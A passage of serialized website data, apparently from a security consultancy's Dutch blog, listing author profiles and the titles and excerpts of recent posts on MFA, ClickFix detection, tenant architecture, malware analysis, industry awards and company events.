Ulbricht","people/anna-katharina.ulbricht-09.png","/authors/anna-ulbricht","anna-katharina-u-a67702199","70%","50%",{"display_name":13362,"avatar":13363,"permalink":13364,"linkedin":13365,"imageOffsetTop":13366,"imageOffsetLeft":13109},"Annette Brauns","people/Annette-Brauns-8.jpg","/authors/annette-brauns","annette-brauns","95%",{"Fritz Zurhorst":13368,"Alexander Schlindwein":13369,"Sophie Luna":13370,"Nadine Klein":13371,"Karsten Kleinschmidt":13372,"Julian Wendt":13373,"Holger Bunkradt":13374,"Ralf Mania":13375,"Oliver Kieselbach":13376,"Steffen Schwerdtfeger":13377,"Gunnar Winter":13378,"Jan Petersen":13379,"Thorsten Kunzi":13380,"Moritz Pohl":13381,"Thorben Pöschus":13382,"Christoph Hannebauer":13383,"Marco Scheel":13384,"Christopher Brumm":13385,"Florian Klante":13386,"Niklas Bachmann":13387,"Nils Krautkrämer":13388,"Patrick Treptau":13389,"Peter Beckendorf":13390,"Patrick Sobau":13391,"Jörg Wunderlich":13392,"Michael Breither":13393,"Christian Kanja":13394,"Zeba Hoffmann":13395,"Jochen Fröhlich":13396,"Jan Geisbauer":13397,"Gerrit Reinke":13401,"Christian Kordel":13402,"Stephan Wälde":13403,"Carolin Kanja":13404,"Adrian Ritter":13405,"Marvin Bangert":13406,"Thorsten Pickhan":13407,"Christian Lorenz":13408,"Denis Böhm":13409,"Fabian Bader":13410,"Juan Jose Fernandez Perez":13411,"Mahschid Sayyar":13412,"Benjamin Dassow":13413,"Markus Walschburger":13414,"Jonathan Haist":13415,"Daniel Rohregger":13416,"Thomas Naunheim":13417,"Florian Stöckl":13418,"Pascal Asch":13419,"Markus Kättner":13420,"Anna Ulbricht":13421,"Annette Brauns":13422},{"display_name":13078,"avatar":13079,"permalink":13080,"linkedin":13081,"imageOffsetTop":13082},{"display_name":13084,"avatar":13085,"permalink":13086,"twitter":13087,"linkedin":13088},{"display_name":13090,"avatar":13091,"permalink":13092,"twitter":13093,"linkedin":13094,"imageOffsetLeft":13095,"imageOffsetTop":13096},{"display_name":13098,"avatar":13099,"permalink":13100,"twitter":13101,"linkedin":13102,"imageOffsetTop":13082},{"display_name":13104,"avatar":13105,"permalink":13106,"twitter":13107,"linkedin":13108,"imageOffsetTop":13109,"imageOffsetLeft":13110},{"display_name":13112,"avatar":13113,"permalink":13114,"linkedin":13115},{"display_name":13117,"avatar":13118,"permalink":13119,"linkedin":13120,"twitter":13121},{"display_name":13123,"avatar":13124,"permalink":13125,"linkedin":13126,"twitter":13127},{"display_name":13129,"avatar":13130,"permalink":13131,"linkedin":13132,"twitter":13133},{"display_name":13135,"avatar":13136,"permalink":13137,"linkedin":13138,"twitter":13139,"imageOffsetTop":13140,"imageOffsetLeft":13141},{"display_name":13143,"avatar":13144,"permalink":13145,"twitter":13093,"linkedin":13146},{"display_name":13148,"avatar":13149,"permalink":13150,"twitter":13093,"linkedin":13151},{"display_name":13153,"avatar":13154,"permalink":13155,"twitter":13093,"linkedin":13146,"imageOffsetTop":13082},{"display_name":13157,"avatar":13158,"permalink":13159,"twitter":13093,"linkedin":13160},{"display_name":13162,"avatar":13163,"permalink":13164,"twitter":13165,"linkedin":13166},{"display_name":13168,"avatar":13169,"permalink":13170,"twitter":13093,"linkedin":13146,"imageOffsetTop":13082},{"display_name":13172,"avatar":13173,"permalink":13174,"twitter":13175,"linkedin":13175},{"display_name":13177,"avatar":13178,"permalink":13179,"twitter":13180,"linkedin":13181,"imageOffsetTop":13182},{"display_name":13184,"avatar":13185,"permalink":13186,"linkedin":13187,"twitter":13093},{"display_name":13189,"avatar":13190,"permalink":13191,"linkedin":13192,"twitter":13093},{"display_name":13194,"avatar":13195,"permalink":13196,"twitter":13197,"linkedin":13198},{"display_name":13200,"avatar":13201,"permalink":13202,"linkedin":13203,"twitter":13093},{"display_name":13205,"avatar":13206,"permalink":13207,"linkedin":13208,"twitter":13093,"imageOffsetTop":13082},{"display_name":13210,"avatar":13211,"permalink":13212,"linkedin":13213,"twitter":13093},{"display_name":13215,"avatar":13216,"permalink":13217,"twitter":13093},{"display_name":13219,"avatar":13220,"permalink":13221,"twitter":13093,"linkedin":13222},{"display_name":13224,"avatar":13225,"permalink":13226,"twitter":13227,"linkedin":13228},{"display_name":13230,"avatar":13231,"permalink":13232,"linkedin":13233,"twitter":13093},{"display_name":13235,"avatar":13236,"permalink":13237,"twitter":13093,"linkedin":13146},{"display_name":13239,"avatar":13240,"permalink":13241,"twitter":13242,"linkedin":13242,"imageOffsetTop":13082,"socials":13398},[13399,13400],{"text":472,"href":13245},{"text":13247,"href":13248},{"display_name":13250,"avatar":13251,"permalink":13252,"twitter":13253,"linkedin":13254},{"display_name":13256,"avatar":13257,"permalink":13258,"twitter":13093,"linkedin":13146},{"display_name":13260,"avatar":13261,"permalink":13262,"twitter":13263,"linkedin":13146},{"display_name":13265,"avatar":13266,"permalink":13267,"twitter":13268,"linkedin":13269},{"display_name":13271,"avatar":13272,"permalink":13273,"twitter":13274,"linkedin":13274},{"display_name":13276,"avatar":13277,"permalink":13278,"twitter":13279,"linkedin":13280},{"display_name":13282,"avatar":13283,"permalink":13284,"twitter":13285,"linkedin":13286},{"display_name":13288,"avatar":13289,"permalink":13290,"linkedin":13291,"twitter":13093},{"display_name":13293,"avatar":13294,"permalink":13295,"linkedin":13296,"twitter":13093},{"display_name":13298,"avatar":13299,"permalink":13300,"linkedin":13301,"twitter":13302},{"display_name":13304,"avatar":13305,"permalink":13306,"linkedin":13307},{"display_name":13309,"avatar":13310,"permalink":13311,"linkedin":13312},{"display_name":13314,"avatar":13315,"permalink":13316,"linkedin":13317},{"display_name":13319,"avatar":13320,"permalink":13321,"linkedin":13322},{"display_name":13324,"avatar":13325,"permalink":13326,"linkedin":13327,"imageOffsetTop":13082},{"display_name":13329,"avatar":13330,"permalink":13331,"linkedin":13332,"imageOffsetTop":13082},{"display_name":13334,"avatar":13335,"permalink":13336,"linkedin":13337,"imageOffsetTop":13182},{"display_name":13339,"avatar":13340,"permalink":13341,"linkedin":13342,"imageOffsetTop":13182},{"display_name":523,"avatar":13344,"permalink":13345,"linkedin":13346,"imageOffsetTop":13182},{"display_name":13348,"avatar":13349,"permalink":13350,"linkedin":13351,"imageOffsetTop":13352,"imageOffsetLeft":13353},{"display_name":13355,"avatar":13356,"permalink":13357,"linkedin":13358,"imageOffsetTop":13359,"imageOffsetLeft":13360},{"display_name":13362,"avatar":13363,"permalink":13364,"linkedin":13365,"imageOffsetTop":13366,"imageOffsetLeft":13109},"Authors","1csawlkJxRljy93GTOnXEkwLqAv9Lcj-apxRvoodAOY",{"list":13426,"authors":13640},[13427,13444,13458,13472,13488,13501,13514,13527,13539,13555,13569,13584,13600,13611,13624],{"id":13428,"title":13429,"author":13430,"cta":494,"description":594,"hideInRecent":484,"layout":12946,"meta":13431,"moment":13436,"path":13437,"stem":13438,"tags":13439,"webcast":484},"content_nl/posts/2026-09-22-end-of-mfa-sms.md","Het einde van de MFA-sms",[13104],{"lang":12948,"date":13432,"categories":13433,"blogtitlepic":13434,"customExcerpt":13435},"2026-09-21",[235],"head-conditional-access.jpg","Waarom organisaties nu moeten overstappen op phishingresistente en zo veel mogelijk wachtwoordloze aanmeldmethoden.","2026-09-22","/posts/2026-09-22-end-of-mfa-sms","posts/2026-09-22-end-of-mfa-sms",[235,13440,13441,13442,13443],"Authentication","Microsoft Entra ID","MFA","Passkeys",{"id":13445,"title":13446,"author":13447,"cta":494,"description":594,"hideInRecent":484,"layout":12946,"meta":13448,"moment":13432,"path":13452,"stem":13453,"tags":13454,"webcast":484},"content_nl/posts/2026-09-21-clickfix-prevent-detect.md","ClickFix. Als de gebruiker de exploit is, en hoe jullie dat stoppen",[13078,13098],{"lang":12948,"date":13432,"categories":13449,"blogtitlepic":13450,"customExcerpt":13451},[235],"head-clickfix.jpg","ClickFix maakt gebruikers tot hun eigen aanvaller: een vals CAPTCHA, een copy-paste, en schadelijke code draait in het geheugen zonder dat er iets op de schijf landt. Hoe Microsoft Defender de aanval detecteert, waar de detectie tegen grenzen aanloopt en hoe jullie het gat dichten met een RunMRU-hunt en vier beschermingslagen.","/posts/2026-09-21-clickfix-prevent-detect","posts/2026-09-21-clickfix-prevent-detect",[13455,13456,13457],"Defender","SOC","Endpoint Security",{"id":13459,"title":13460,"author":13461,"cta":494,"description":594,"hideInRecent":484,"layout":12946,"meta":13462,"moment":13432,"path":13466,"stem":13467,"tags":13468,"webcast":484},"content_nl/posts/2026-09-21-red-tenant-dark-tenant-cio.md","Admin en dagelijks werk op één computer? Game Over.",[13239],{"lang":12948,"date":13432,"categories":13463,"blogtitlepic":13464,"customExcerpt":13465},[235],"head-game-over-en.jpg","Waarom één tenant voor CIO's niet volstaat, en de tweede zelden wordt meegedacht. De Managed Red Tenant scheidt administratief werk architectonisch van de office-omgeving, de Managed Dark Tenant houdt de organisatie handelingsbekwaam wanneer de verdediging toch valt. Wat dat betekent voor het bedrijfsmodel, het SOC-signaal en de aantoonplichten volgens NISG 2026.","/posts/2026-09-21-red-tenant-dark-tenant-cio","posts/2026-09-21-red-tenant-dark-tenant-cio",[235,13469,13470,13471],"Privileged Access","Zero Trust","NIS2",{"id":13473,"title":13474,"author":13475,"cta":494,"description":13476,"hideInRecent":484,"layout":12946,"meta":13477,"moment":13478,"path":13483,"stem":13484,"tags":13485,"webcast":484},"content_nl/posts/2026-08-08-isg-germany-2026.md","Vier keer Leader. glueckkanja in de ISG-studie Duitsland 2026",[13265],"ISG heeft zijn studie dit jaar een andere naam gegeven. Van het Microsoft Cloud Ecosystem werd het Microsoft AI and Cloud Ecosystem, en met de naam is de maatstaf verschoven: beoordeeld wordt niet meer wie Microsoft-platformen invoert, maar wie Copilot, agents en AI-workloads beheersbaar draait. Aan onze positie heeft de nieuwe maatstaf niets veranderd. De ISG Provider Lens®-studie Duitsland 2026 positioneert ons als Leader in vier kwadranten: Microsoft Productivity and Business Process Services en Azure Managed Services, telkens in de Large Market en in de Mid Market. Na 2021, 2023, 2024 en 2025 is het de vijfde Leader-inschaling in Duitsland, in Zwitserland kwam de sprong naar het Leader-kwadrant twee weken eerder.",{"lang":12948,"date":13478,"categories":13479,"blogtitlepic":13481,"customExcerpt":13482},"2026-08-08",[13480],"Corporate","head-isg-de-2026.png","De ISG Provider Lens®-studie 2026 positioneert glueckkanja in Duitsland als Leader in vier kwadranten: Microsoft Productivity and Business Process Services en Azure Managed Services, telkens in de Large en in de Mid Market. De studie heet nu Microsoft AI and Cloud Ecosystem, en de maatstaf is verschoven: beoordeeld wordt wie AI- en agent-workloads beheersbaar draait.","/posts/2026-08-08-isg-germany-2026","posts/2026-08-08-isg-germany-2026",[13486,13487],"Award","ISG",{"id":13489,"title":13490,"author":13491,"cta":494,"description":13492,"hideInRecent":484,"layout":12946,"meta":13493,"moment":13494,"path":13498,"stem":13499,"tags":13500,"webcast":484},"content_nl/posts/2026-07-31-isg-switzerland-2026.md","Van Rising Star naar Leader. glueckkanja in de ISG-studie Zwitserland 2026",[13265],"In 2024 hebben we glueckkanja Switzerland AG opgericht en in het zentroom aan de Bahnhofplatz 10b in Bern een kantoor betrokken. In 2025 heeft ISG ons in de Zwitserse markt als Rising Star ingeschaald, als de aanbieder van wie de analisten de sprong naar het Leader-kwadrant verwachten. Nu is die sprong gedocumenteerd: de ISG Provider Lens®-studie 2026 positioneert ons in Zwitserland als Leader in het kwadrant Microsoft AI and Cloud Ecosystem, op de gebieden Azure Managed Services en Microsoft Productivity and Business Process Services.",{"lang":12948,"date":13494,"categories":13495,"blogtitlepic":13496,"customExcerpt":13497},"2026-07-31",[13480],"head-isg-ch-2026.png","De ISG Provider Lens®-studie 2026 positioneert glueckkanja in Zwitserland als Leader in het kwadrant Microsoft AI and Cloud Ecosystem, op de gebieden Azure Managed Services en Microsoft Productivity and Business Process Services. Twee jaar na de markttoetreding in Bern, een jaar na de Rising-Star-onderscheiding.","/posts/2026-07-31-isg-switzerland-2026","posts/2026-07-31-isg-switzerland-2026",[13486,13487],{"id":13502,"title":13503,"author":13504,"cta":494,"description":594,"hideInRecent":484,"layout":12946,"meta":13505,"moment":13506,"path":13510,"stem":13511,"tags":13512,"webcast":484},"content_nl/posts/2026-07-24-outbreak-openai-hugging-face.md","Outbreak. Wat het OpenAI/Hugging-Face-incident verraadt en wat niet",[13239],{"lang":12948,"date":13506,"categories":13507,"blogtitlepic":13508,"customExcerpt":13509},"2026-07-24",[235],"head-outbreak.jpg","Een AI-agent breekt uit zijn testomgeving, vindt een zero-day en hackt een ander bedrijf. Klinkt als een scenario, maar is in juli 2026 daadwerkelijk gebeurd. Tijd voor een nuchtere plaatsbepaling: met wat psychologie, twee securityveteranen en de vraag wat dit voor jullie verdediging betekent.","/posts/2026-07-24-outbreak-openai-hugging-face","posts/2026-07-24-outbreak-openai-hugging-face",[13513,13456,13470],"AI",{"id":13515,"title":13516,"author":13517,"cta":494,"description":13518,"hideInRecent":484,"layout":12946,"meta":13519,"moment":13520,"path":13524,"stem":13525,"tags":13526,"webcast":484},"content_nl/posts/2026-07-22-isg-cybersecurity-2026.md","Leader en Rising Star. glueckkanja in de ISG Cybersecurity-studie 2026",[13265],"Nieuw in het kwadrant en meteen Leader: de ISG Provider Lens®-studie \"Cybersecurity – Services and Solutions 2026\" positioneert glueckkanja als Leader op het gebied van Next-Gen SOC/MDR Services voor de Duitse midmarket. In de totale markt voor Next-Gen SOC/MDR Services onderscheidt ISG ons als Rising Star, dus als de aanbieder van wie de analisten de sprong naar het Leader-kwadrant binnen de komende 12 tot 24 maanden verwachten.",{"lang":12948,"date":13520,"categories":13521,"blogtitlepic":13522,"customExcerpt":13523},"2026-07-22",[13480],"head-isg-cybersecurity-2026.png","De ISG Provider Lens®-studie Cybersecurity 2026 onderscheidt glueckkanja als Leader in het kwadrant Next-Gen SOC/MDR Services (Midmarket). In de totale markt voor Next-Gen SOC/MDR Services zijn we Rising Star. ISG schrijft ons bovengemiddelde groei toe, diepgaande Microsoft-securityexpertise en een 24/7 SOC vanuit Duitsland.","/posts/2026-07-22-isg-cybersecurity-2026","posts/2026-07-22-isg-cybersecurity-2026",[13486,13487,235],{"id":13528,"title":13529,"author":13530,"cta":494,"description":13531,"hideInRecent":484,"layout":12946,"meta":13532,"moment":13533,"path":13536,"stem":13537,"tags":13538,"webcast":484},"content_nl/posts/2026-07-06-the-holy-trinity.md","The Holy Trinity: wat AI echt nodig heeft om te werken",[13265],"Een productiebedrijf wil weten welke van zijn 14.000 SKU's daadwerkelijk winstgevend zijn. Het antwoord ligt in drie systemen die nog nooit één enkel datapunt met elkaar hebben uitgewisseld. Tot voor kort kostte het drie afdelingen, twee weken en de nodige goede wil om dat antwoord te krijgen. Sinds begin 2026 kan een AI die vraag in minuten beantwoorden: de data doorzoeken, verbanden leggen, een aanbeveling produceren. Op voorwaarde dat ze toegang heeft.",{"lang":12948,"date":13533,"categories":13534,"blogtitlepic":13535},"2026-07-06",[131],"head-the-holy-trinity","/posts/2026-07-06-the-holy-trinity","posts/2026-07-06-the-holy-trinity",[13513,131],{"id":13540,"title":13541,"author":13542,"cta":494,"description":13543,"hideInRecent":484,"layout":12946,"meta":13544,"moment":13545,"path":13549,"stem":13550,"tags":13551,"webcast":484},"content_nl/posts/2026-07-01-onboarding-process.md","Contract ondertekend: zo verloopt jouw onboarding bij ons",[13355],"Hoe verloopt jullie onboarding eigenlijk? Een vraag die we in gesprekken met sollicitanten steeds opnieuw tegenkomen, want velen hebben al eens meegemaakt dat een onboarding hobbelig verloopt. Des te belangrijker is het voor ons om je vanaf het begin een goed gevoel te geven.",{"lang":12948,"date":13545,"categories":13546,"blogtitlepic":13547,"customExcerpt":13548},"2026-07-01",[13480],"Onboarding_Blogheader","Het contract is ondertekend, de eerste grote stap is gezet. Maar hoe gaat het nu verder? We nemen je mee achter de schermen van onze onboarding, van het PreBoarding tot de eerste week in het team.","/posts/2026-07-01-onboarding-process","posts/2026-07-01-onboarding-process",[13552,13553,13554],"Employer Branding","Onboarding","Unternehmenskultur",{"id":13556,"title":13557,"author":13558,"cta":494,"description":13559,"hideInRecent":484,"layout":12946,"meta":13560,"moment":13561,"path":13565,"stem":13566,"tags":13567,"webcast":484},"content_nl/posts/2026-06-26-frontier-partner.md","Microsoft Frontier Partner: wij horen erbij",[13265],"In het Microsoft-partnerecosysteem bestaat een hele reeks erkenningen, en toch onderscheidt de Frontier Partner Badge zich in opzet van de andere onderscheidingen. Je kunt hem niet aanvragen, want Microsoft kent hem op eigen initiatief toe aan een exclusieve groep partners die in meerdere disciplines tegelijk moeten overtuigen in plaats van in één enkele te schitteren. Microsoft toetst daarbij aangetoonde competentie in Cloud & AI Platforms, in AI Business Solutions en in Security in gelijke mate en richt zich daarmee op organisaties die AI niet zien als opzetstuk op bestaande IT, maar als resultaat van een doorlopende architectuur die van identiteit via endpoint tot in productieve AI-operations draagt.",{"lang":12948,"date":13561,"categories":13562,"blogtitlepic":13563,"customExcerpt":13564},"2026-06-26",[13480],"head-frontier-partner-badge.jpg","Sinds kort bestaat er binnen het Microsoft AI Cloud Partner Program een nieuwe toponderscheiding, de Frontier Partner Badge. Microsoft kent die uitsluitend toe aan een exclusieve groep partners wereldwijd die AI-projecten op de volledige Microsoft-stack draagkrachtig leveren, van de workplace via het cloudplatform en security tot in de AI-toepassing zelf, en die dat in de praktijk hebben aangetoond. In de DACH-regio telt die groep slechts een handvol bedrijven, en wij zijn er een van.","/posts/2026-06-26-frontier-partner","posts/2026-06-26-frontier-partner",[13486,13568,13513],"Microsoft Partner",{"id":13570,"title":13571,"author":13572,"cta":494,"description":13573,"hideInRecent":484,"layout":12946,"meta":13574,"moment":13575,"path":13579,"stem":13580,"tags":13581,"webcast":484},"content_nl/posts/2026-06-09-vair-run.md","160 kilometer voor het goede doel",[13362],"Zondagochtend, 8:30 uur, Holbeinsteg aan de Main. Elf collega's in dezelfde NinjaCat-shirts, klaar voor de Frankfurter Runden. Regen, bliksem en donder inbegrepen. Voor een goed doel lopen was motivatie genoeg om ondanks het slechte weer de hardloopschoenen aan te trekken.",{"lang":12948,"date":13575,"categories":13576,"blogtitlepic":13577,"customExcerpt":13578},"2026-06-08",[13480],"frankfurter-runden.png","Elf collega's, 16 rondes, 160 kilometer, een onweersfront en een podiumplek: glueckkanja deed mee aan de Frankfurter Runden 2026 en doneerde voor elke gelopen ronde aan VAIR e.V., die in Offenbach een inclusief sport- en cultuurpark bouwt.","/posts/2026-06-09-vair-run","posts/2026-06-09-vair-run",[13582,13552,13583],"Top Arbeitgeber","Soziales Engagement",{"id":13585,"title":13586,"author":13587,"cta":494,"description":13588,"hideInRecent":484,"layout":12946,"meta":13589,"moment":13590,"path":13594,"stem":13595,"tags":13596,"webcast":484},"content_nl/posts/2026-04-10-incident-to-intelligence.md","Anatomie van een onbekende AMOS Stealer: van alert naar immuniteit in enkele uren",[523],"Wanneer in ons SOC een alert afgaat, begint de klok te lopen: niet alleen voor de getroffen klant, maar voor alle organisaties onder onze bescherming. Het gevaarlijkste moment in het huidige dreigingslandschap is de intelligence gap, het tijdvenster tussen de eerste inzet van een nieuwe malwarevariant en de dag waarop de branche daarvan hoort.",{"lang":12948,"date":13590,"categories":13591,"blogtitlepic":13592,"customExcerpt":13593},"2026-04-10",[235],"head-amos-stealer.png","Een tot dan toe ongedocumenteerde AMOS-stealervariant compromitteerde een macOS-endpoint. Geen bekende hashes, geen C2-gegevens in openbare databases. Ons SOC haalde zes obfuscatielagen uit elkaar, extraheerde alle indicatoren en verdeelde de bescherming binnen enkele uren over alle SOC-klanten, nog voordat de branche het sample had gezien.","/posts/2026-04-10-incident-to-intelligence","posts/2026-04-10-incident-to-intelligence",[13068,13597,13598,13599,13069],"Incident Response","macOS Security","Malware Analysis",{"id":13601,"title":13602,"author":13603,"cta":494,"description":13604,"hideInRecent":484,"layout":12946,"meta":13605,"moment":13606,"path":13609,"stem":13610,"tags":494,"webcast":484},"content_nl/posts/2026-03-21-microsoft-edge-corporate-browser.md","Waarom Edge jullie enige corporate browser zou moeten zijn",[13135],"De keuze van de browser is in bedrijfsomgevingen een strategische beslissing: die bepaalt direct hoeveel security en hoeveel beheerlast je werkelijk hebt. Google Chrome was lang de voor de hand liggende optie, maar Microsoft Edge is uitgegroeid tot een browser die direct ingrijpt op de bestaande stack, vooral wanneer Microsoft 365 in gebruik is en het beheer via Intune loopt.",{"lang":12948,"date":13606,"blogtitlepic":13607,"customExcerpt":13608},"2026-03-21","head-microsoft-edge-default-browser.jpg","Geen enkele organisatie heeft Chrome echt gekozen; hij was er simpelweg, met eigen sync-logica, eigen accountbeheer en een eigen interface voor policies. Microsoft Edge grijpt daarentegen direct in op de infrastructuur die toch al draait: Entra ID, Intune, Defender. Deze post laat zien hoe de overstap eruitziet, hoe Chrome via een Intune-policy naar een landingpage wordt omgeleid en wat er wegvalt zodra je stopt met het parallel beheren van twee browsers.","/posts/2026-03-21-microsoft-edge-corporate-browser","posts/2026-03-21-microsoft-edge-corporate-browser",{"id":13612,"title":13613,"author":13614,"cta":494,"description":13615,"hideInRecent":484,"layout":12946,"meta":13616,"moment":13617,"path":13621,"stem":13622,"tags":13623,"webcast":484},"content_nl/posts/2026-03-20-stryker-attack-intune-privilege.md","Eén adminaccount was alles wat er nodig was.",[13239],"Woensdag 11 maart 2026. Medewerkers in Stryker-kantoren in 79 landen zetten hun computers aan en vonden ze leeg. Inlogschermen vervangen door een logo. Bedrijfslaptops, zakelijke telefoons, privéapparaten die in het BYOD-programma van het bedrijf waren geregistreerd, allemaal gelijktijdig gewist, in één nacht. Geen ransomware, geen malwaresignaturen, niets wat een endpoint-detectietool had kunnen opmerken.",{"lang":12948,"date":13617,"categories":13618,"blogtitlepic":13619,"customExcerpt":13620},"2026-03-20",[235],"head-stryker.jpg","Op 11 maart 2026 wiste Handala apparaten in 79 landen, en alles wat daarvoor nodig was, was één gecompromitteerd Intune-adminaccount. Geen malware, geen exploit, alleen legitieme managementtools die tegen hun eigenaars werden gericht. Wat er is gebeurd, waarom het werkte en welke twee architectonische gaten gedicht moeten worden.","/posts/2026-03-20-stryker-attack-intune-privilege","posts/2026-03-20-stryker-attack-intune-privilege",[71,13469,13470],{"id":13625,"title":13626,"author":13627,"cta":494,"description":13628,"hideInRecent":484,"layout":12946,"meta":13629,"moment":13630,"path":13634,"stem":13635,"tags":13636,"webcast":484},"content_nl/posts/2026-03-16-ai-agent-hackathon.md","Zes agents. Vier weken. Echt in productie.",[13265],"Hoeveel uur per week besteedt jullie IT-afdeling aan taken die een agent in minuten afhandelt?",{"lang":12948,"date":13630,"categories":13631,"blogtitlepic":13632,"customExcerpt":13633},"2026-03-16",[13480],"head-ai-agent-hackathon.jpg","Zes bedrijven, vier weken build-fase, zes werkende AI agents: dat was de eerste glueckkanja AI Agent Hackathon. Kiekert, Dr. Oetker, Eckes-Granini, igefa en lila logistik hebben in Copilot Studio agents gebouwd die vandaag productief lopen. Wat daarbij ontstond en hoe het format werkt.","/posts/2026-03-16-ai-agent-hackathon","posts/2026-03-16-ai-agent-hackathon",[13513,13637,13638,13639],"Copilot Studio","Hackathon","AI Agents",{"Karsten Kleinschmidt":13641,"Fritz Zurhorst":13642,"Nadine Klein":13643,"Jan Geisbauer":13644,"Carolin Kanja":13648,"Anna Ulbricht":13649,"Annette Brauns":13650,"Pascal Asch":13651,"Steffen Schwerdtfeger":13652},{"display_name":13104,"avatar":13105,"permalink":13106,"twitter":13107,"linkedin":13108,"imageOffsetTop":13109,"imageOffsetLeft":13110},{"display_name":13078,"avatar":13079,"permalink":13080,"linkedin":13081,"imageOffsetTop":13082},{"display_name":13098,"avatar":13099,"permalink":13100,"twitter":13101,"linkedin":13102,"imageOffsetTop":13082},{"display_name":13239,"avatar":13240,"permalink":13241,"twitter":13242,"linkedin":13242,"imageOffsetTop":13082,"socials":13645},[13646,13647],{"text":472,"href":13245},{"text":13247,"href":13248},{"display_name":13265,"avatar":13266,"permalink":13267,"twitter":13268,"linkedin":13269},{"display_name":13355,"avatar":13356,"permalink":13357,"linkedin":13358,"imageOffsetTop":13359,"imageOffsetLeft":13360},{"display_name":13362,"avatar":13363,"permalink":13364,"linkedin":13365,"imageOffsetTop":13366,"imageOffsetLeft":13109},{"display_name":523,"avatar":13344,"permalink":13345,"linkedin":13346,"imageOffsetTop":13182},{"display_name":13135,"avatar":13136,"permalink":13137,"linkedin":13138,"twitter":13139,"imageOffsetTop":13140,"imageOffsetLeft":13141},{"id":13073,"extension":13074,"meta":13654,"stem":8,"__hash__":13424},{"Pascal Asch":13655},{"display_name":523,"avatar":13344,"permalink":13345,"linkedin":13346,"imageOffsetTop":13182},1791383942390]